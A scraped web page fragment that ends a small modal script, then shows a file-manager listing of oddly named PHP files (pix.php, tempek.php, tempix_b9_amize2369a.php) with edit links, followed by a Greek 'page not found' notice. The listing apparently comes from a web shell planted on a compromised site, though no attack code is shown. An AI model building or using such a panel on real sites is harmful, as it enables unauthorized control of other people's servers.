    document.getElementById(id).style.display = 'none';
}

window.onclick = function(e){
    if(e.target.classList.contains('modal')){
        e.target.style.display = 'none';
    }
}
</script>
</body>
</html>

CANCEL

Name	Type	Size	Modified	Actions
↩ ..	DIR	—	—
📄 index.php	PHP	462 B	2026-08-09 20:53	EDIT
📄 pix.php	PHP	73.1 KB	2026-08-09 21:34	EDIT
📄 tempek.php	PHP	1.2 KB	2026-08-09 20:53	EDIT
📄 tempix_b9_amize2369a.php	PHP	81 B	2026-08-09 20:53	EDIT

Η σελίδα δεν βρέθηκε – BIO Προσαρμογή

Ωπα! Αυτή η σελίδα δε βρέθηκε.

Φαίνεται ότι δεν βρέθηκε τίποτα σε αυτή τη θέση. Ίσως να προσπαθήσετε να ψάξετε για κάτι άλλο;